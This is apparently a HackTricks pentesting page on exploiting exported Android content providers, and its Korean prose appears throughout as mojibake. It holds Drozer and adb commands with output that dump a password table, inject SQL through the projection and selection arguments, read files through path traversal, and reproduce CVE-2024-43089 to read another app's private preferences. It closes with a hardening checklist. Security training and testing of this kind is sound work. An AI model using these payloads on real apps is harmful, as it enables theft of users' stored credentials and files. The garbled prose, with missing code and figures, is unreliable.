Exploiting Content Providers

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Intro

๋ฐ์ดํ„ฐ๋Š” content provider๋กœ ์•Œ๋ ค์ง„ ๊ตฌ์„ฑ ์š”์†Œ์— ์˜ํ•ด ์š”์ฒญ ์‹œ ํ•˜๋‚˜์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ๊ณต๊ธ‰๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์š”์ฒญ์€ ContentResolver class ๋ฉ”์„œ๋“œ๋ฅผ ํ†ตํ•ด ๊ด€๋ฆฌ๋ฉ๋‹ˆ๋‹ค. Content provider๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค, ํŒŒ์ผ ๋˜๋Š” ๋„คํŠธ์›Œํฌ์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์œ„์น˜์— ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Manifest.xml ํŒŒ์ผ์—์„œ๋Š” content provider์˜ ์„ ์–ธ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

content://com.mwr.example.sieve.DBContentProvider/Keys์— ์ ‘๊ทผํ•˜๋ ค๋ฉด READ_KEYS ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กญ๊ฒŒ๋„, /Keys/ ๊ฒฝ๋กœ๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ /Keys๋ฅผ ๋ณดํ˜ธํ–ˆ์ง€๋งŒ /Keys/๋ฅผ ์„ ์–ธํ•˜๋Š” ์‹ค์ˆ˜๋กœ ์ธํ•ด ๋ณดํ˜ธ๋˜์ง€ ์•Š๋Š” ๋‹ค์Œ ์„น์…˜์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•„๋งˆ๋„ ๊ฐœ์ธ ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ผ๋ถ€ ์ทจ์•ฝ์ (SQL Injection ๋˜๋Š” Path Traversal)์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋…ธ์ถœ๋œ ์ฝ˜ํ…์ธ  ์ œ๊ณต์ž์—์„œ ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

DBContentProvider์— ๋„๋‹ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์„ โ€œcontent://โ€œ๋กœ ์‹œ์ž‘ํ•˜๋Š” URI๋ฅผ ํ†ตํ•ด ์กฐํ•ฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ ๋ฐฉ์‹์€ Drozer๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์–ป์€ ํ†ต์ฐฐ๋ ฅ์— ๊ธฐ๋ฐ˜ํ•˜๋ฉฐ, ์ฃผ์š” ์ •๋ณด๋Š” /Keys ๋””๋ ‰ํ† ๋ฆฌ์— ์œ„์น˜ํ•ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

Drozer๋Š” ์—ฌ๋Ÿฌ URI๋ฅผ ์ถ”์ธกํ•˜๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

๋‹น์‹ ์€ ContentProvider ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜์—ฌ ์ฟผ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

๋˜ํ•œ, ์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†๋‹ค๋ฉด onCreate ๋ฉ”์„œ๋“œ์—์„œ ContentProvider์— ์˜ํ•ด ์„ ์–ธ๋œ ์ด๋ฆ„์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค: content://name.of.package.class/declared_name

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ธฐ๋ฐ˜ Content Providers

๋Œ€๋ถ€๋ถ„์˜ Content Providers๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ์ธํ„ฐํŽ˜์ด์Šค๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ •๋ณด๋ฅผ ์ถ”์ถœ, ์—…๋ฐ์ดํŠธ, ์‚ฝ์ž… ๋ฐ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
๋ฏผ๊ฐํ•œ ์ •๋ณด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ฑฐ๋‚˜ ๊ถŒํ•œ ์šฐํšŒ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๋ณ€๊ฒฝํ•ด ๋ณด์‹ญ์‹œ์˜ค.

Content Provider์˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•  ๋•Œ **query, insert, update ๋ฐ delete**์™€ ๊ฐ™์€ ์ด๋ฆ„์˜ ํ•จ์ˆ˜๋„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

์ด๋“ค์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์ฟผ๋ฆฌ ๋‚ด์šฉ

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Insert content

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ฟผ๋ฆฌํ•˜๋ฉด ์—ด์˜ ์ด๋ฆ„์„ ์•Œ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ ํ›„ DB์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

์‚ฝ์ž… ๋ฐ ์—…๋ฐ์ดํŠธ ์‹œ โ€“string์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌธ์ž์—ด์„ ๋‚˜ํƒ€๋‚ด๊ณ , โ€“double๋กœ ๋”๋ธ”์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, โ€“float, โ€“integer, โ€“long, โ€“short, โ€“boolean์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Update content

์—ด์˜ ์ด๋ฆ„์„ ์•Œ๋ฉด ํ•ญ๋ชฉ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Delete content

SQL Injection

**(SQLite)**์— ๋Œ€ํ•œ SQL ์ธ์ ์…˜์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ๊ฒƒ์€ ํ”„๋กœ์ ์…˜ ๋ฐ ์„ ํƒ ํ•„๋“œ๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค.
Content Provider๋ฅผ ์ฟผ๋ฆฌํ•  ๋•Œ ์ •๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ธฐ ์œ„ํ•œ 2๊ฐœ์˜ ํฅ๋ฏธ๋กœ์šด ์ธ์ˆ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค: โ€“selection ๋ฐ โ€“projection:

์ด ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์•…์šฉํ•˜์—ฌ SQL ์ธ์ ์…˜์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozer์— ์˜ํ•œ ์ž๋™ SQLInjection ๋ฐœ๊ฒฌ

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

ํŒŒ์ผ ์‹œ์Šคํ…œ ๊ธฐ๋ฐ˜ ์ฝ˜ํ…์ธ  ์ œ๊ณต์ž

์ฝ˜ํ…์ธ  ์ œ๊ณต์ž๋Š” ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ํŒŒ์ผ ์ฝ๊ธฐ

์ฝ˜ํ…์ธ  ์ œ๊ณต์ž์—์„œ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

๊ฒฝ๋กœ ํƒ์ƒ‰

ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๊ฒฝ๋กœ ํƒ์ƒ‰์„ ์•…์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด ๊ฒฝ์šฐ์—๋Š” ํ•„์š”ํ•˜์ง€ ์•Š์ง€๋งŒ โ€œ../โ€œ์™€ ์œ ์‚ฌํ•œ ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozer์— ์˜ํ•œ ์ž๋™ ๊ฒฝ๋กœ ํƒ์ƒ‰ ๋ฐœ๊ฒฌ

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

2023-2025 ์—…๋ฐ์ดํŠธ ๋ฐ ์ตœ์‹  ํŒ

Drozer 3.x (Python 3) ์ถœ์‹œ

WithSecure๋Š” 2022๋…„์— drozer์˜ ์œ ์ง€ ๊ด€๋ฆฌ๋ฅผ ์žฌ๊ฐœํ•˜๊ณ  ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ Python 3(์ตœ์‹  3.1.0 โ€“ 2024๋…„ 4์›”)๋กœ ํฌํŒ…ํ–ˆ์Šต๋‹ˆ๋‹ค. ํ˜ธํ™˜์„ฑ ์ˆ˜์ • ์™ธ์—๋„ Content Providers ์ž‘์—… ์‹œ ํŠนํžˆ ์œ ์šฉํ•œ ์ƒˆ๋กœ์šด ๋ชจ๋“ˆ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

  • scanner.provider.exported โ€“ android:exported="true"์ธ ์ œ๊ณต์ž๋งŒ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค.
  • app.provider.grant โ€“ grantUriPermission()์„ ์ž๋™์œผ๋กœ ํ˜ธ์ถœํ•˜์—ฌ Android 12+์—์„œ FLAG_GRANT_READ_URI_PERMISSION / FLAG_GRANT_WRITE_URI_PERMISSION์„ ๊ธฐ๋Œ€ํ•˜๋Š” ์ œ๊ณต์ž์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Scoped Storage์˜ ๋” ๋‚˜์€ ์ฒ˜๋ฆฌ๋กœ Android 11+์—์„œ ํŒŒ์ผ ๊ธฐ๋ฐ˜ ์ œ๊ณต์ž์— ์—ฌ์ „ํžˆ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—…๊ทธ๋ ˆ์ด๋“œ(ํ˜ธ์ŠคํŠธ ๋ฐ ์—์ด์ „ํŠธ):

pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk

๋‚ด์žฅ๋œ cmd content ํ—ฌํผ ์‚ฌ์šฉ (ADB โ‰ฅ 8.0)

๋ชจ๋“  ์ตœ์‹  Android ๊ธฐ๊ธฐ๋Š” ์—์ด์ „ํŠธ๋ฅผ ์„ค์น˜ํ•˜์ง€ ์•Š๊ณ  ํ”„๋กœ๋ฐ”์ด๋”๋ฅผ ์ฟผ๋ฆฌ/์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ๋Š” CLI๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

adb shell cmd content query  --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call   --uri content://com.test.provider  \
--method evilMethod --arg 'foo'

run-as <pkg> ๋˜๋Š” ๋ฃจํŒ…๋œ ์…ธ๊ณผ ๊ฒฐํ•ฉํ•˜์—ฌ ๋‚ด๋ถ€ ์ „์šฉ ์ œ๊ณต์ž๋ฅผ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.

Content Providers๋ฅผ ์•…์šฉํ•œ ์ตœ๊ทผ ์‹ค์ œ CVE

CVE์—ฐ๋„๊ตฌ์„ฑ ์š”์†Œ๋ฒ„๊ทธ ํด๋ž˜์Šค์˜ํ–ฅ
CVE-2024-430892024MediaProvideropenFile()์—์„œ์˜ ๊ฒฝ๋กœ ํƒ์ƒ‰๋ชจ๋“  ์•ฑ์˜ ๊ฐœ์ธ ์ €์žฅ์†Œ์—์„œ ์ž„์˜ ํŒŒ์ผ ์ฝ๊ธฐ
CVE-2023-356702023MediaProvider๊ฒฝ๋กœ ํƒ์ƒ‰์ •๋ณด ์œ ์ถœ

์ทจ์•ฝํ•œ ๋นŒ๋“œ์—์„œ CVE-2024-43089 ์žฌํ˜„:

adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml

API 30+์— ๋Œ€ํ•œ ๋ณด์•ˆ ๊ฐ•ํ™” ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • ์ œ๊ณต์ž๊ฐ€ ๊ณต๊ฐœ๋˜์–ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์•„๋‹ˆ๋ผ๋ฉด android:exported="false"๋ฅผ ์„ ์–ธํ•˜์‹ญ์‹œ์˜ค. API 31๋ถ€ํ„ฐ ์ด ์†์„ฑ์€ ํ•„์ˆ˜์ž…๋‹ˆ๋‹ค.
  • ์ „์ฒด ์ œ๊ณต์ž๋ฅผ ๋‚ด๋ณด๋‚ด๋Š” ๋Œ€์‹  ๊ถŒํ•œ์„ ๊ฐ•์ œ ์ ์šฉํ•˜๊ฑฐ๋‚˜ android:grantUriPermissions="true"๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.
  • ํ—ˆ์šฉ๋œ projection, selection ๋ฐ sortOrder ์ธ์ˆ˜๋ฅผ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ์— ์ถ”๊ฐ€ํ•˜์‹ญ์‹œ์˜ค (์˜ˆ: SQLiteQueryBuilder.setProjectionMap์œผ๋กœ ์ฟผ๋ฆฌ ๋นŒ๋“œ).
  • openFile()์—์„œ ์š”์ฒญ๋œ ๊ฒฝ๋กœ๋ฅผ ์ •๊ทœํ™”ํ•˜๊ณ  (FileUtils) .. ์‹œํ€€์Šค๋ฅผ ๊ฑฐ๋ถ€ํ•˜์—ฌ ํƒ์ƒ‰์„ ๋ฐฉ์ง€ํ•˜์‹ญ์‹œ์˜ค.
  • ํŒŒ์ผ์„ ๋…ธ์ถœํ•  ๋•Œ๋Š” Storage Access Framework ๋˜๋Š” FileProvider๋ฅผ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค.

์ตœ๊ทผ Android ๋ฒ„์ „์˜ ์ด๋Ÿฌํ•œ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์€ ๋งŽ์€ ๋ ˆ๊ฑฐ์‹œ ์ต์Šคํ”Œ๋กœ์ž‡ ์›์‹œ ๊ธฐ๋Šฅ์ด ์—ฌ์ „ํžˆ ์ž‘๋™ํ•˜์ง€๋งŒ, ์—…๋ฐ์ดํŠธ๋œ drozer ๋ชจ๋“ˆ์ด๋‚˜ cmd content ๋„์šฐ๋ฏธ๊ฐ€ ์ž๋™์œผ๋กœ ์ ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ถ”๊ฐ€ ํ”Œ๋ž˜๊ทธ/๊ถŒํ•œ์ด ํ•„์š”ํ•จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ